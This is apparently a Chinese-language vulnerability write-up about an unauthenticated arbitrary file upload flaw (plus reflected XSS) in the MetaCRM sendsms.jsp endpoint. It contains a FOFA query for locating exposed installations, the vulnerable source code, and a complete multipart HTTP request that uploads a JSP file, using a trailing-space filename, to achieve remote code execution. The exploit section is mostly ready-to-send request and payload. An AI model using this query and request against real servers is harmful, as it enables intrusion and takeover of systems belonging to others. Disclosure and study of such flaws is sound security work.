MetaCRM 客户关系管理系统 sendsms.jsp 任意文件上传漏洞


漏洞简介

MetaCRM 是一款广泛应用于企业客户信息管理、业务流程自动化及销售支持的客户关系管理系统。该系统中的 sendsms.jsp 接口存在任意文件上传漏洞,攻击者无需经过严格身份验证即可向服务器上传任意类型的文件,包括可执行的恶意脚本。一旦利用此漏洞,攻击者可能在服务器上部署后门、WebShell 等恶意程序,从而实现远程代码执行、服务器控制,甚至进一步窃取敏感数据或破坏业务系统的正常运行。该漏洞严重威胁系统的安全性与数据完整性,需及时修补和加固防护。

影响版本

fofa语法

body="/common/scripts/basic.js" && body="www.metacrm.com.cn"

漏洞分析

我们直接看 sendsms.jsp 的业务逻辑实现

<%

    com.metasoft.framework.pub.upload.Upload myUpload=new com.metasoft.framework.pub.upload.Upload();   
    myUpload.initialize(pageContext);
    myUpload.upload();

    String touser = myUpload.getRequest().getParameter("touser");
    String subject = myUpload.getRequest().getParameter("subject");

    String affix = myUpload.getFiles().getFile(0).getFileName();
    String body = myUpload.getRequest().getParameter("body");

    int iCount = myUpload.getFiles().getFile(0).getSize();

    //System.out.println("iCount="+iCount);

    String path = com.metasoft.framework.pub.util.Path.getUserFile()+"temp"+java.io.File.separator;
    String fileFullName = "";

    if (iCount != 0) {
        String fieldID = com.metasoft.framework.pub.util.UUID.getID();
        if(affix.indexOf(".")!=-1)
            fieldID +=affix.substring(affix.lastIndexOf("."));

        myUpload.saveAs(path, fieldID);
        fileFullName = path+fieldID;

    }

    %>

直接使用用户上传的文件名(affix)的扩展名(如.jsp)拼接生成服务器文件名(fieldID)。攻击者可上传恶意脚本文件(如.jsp),从而导致任意文件上传漏洞。

同时该文件还存在反射性XSS漏洞,因HTML表单部分 <input type="hidden" name="touser" value="<%=touser%>" /> 的数据来自用户提交,直接通过 myUpload.getRequest().getParameter("touser") 获取,并使用 JSP 表达式 <%= %> 直接输出到HTML中。缺失了对输入的转义或 sanitization。其他 subject、affix 等参数也是如此。

漏洞复现

POST /business/common/sms/sendsms.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp "

<%out.println(new java.util.Random().nextInt(100));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

响应里回显了上传文件路径,直接访问,成功执行上传代码达到RCE


手机扫码阅读

汉王e脸通综合管理平台 权限绕过漏洞

MetaCRM 客户关系管理系统 sendfile.jsp 任意文件上传漏洞

评 论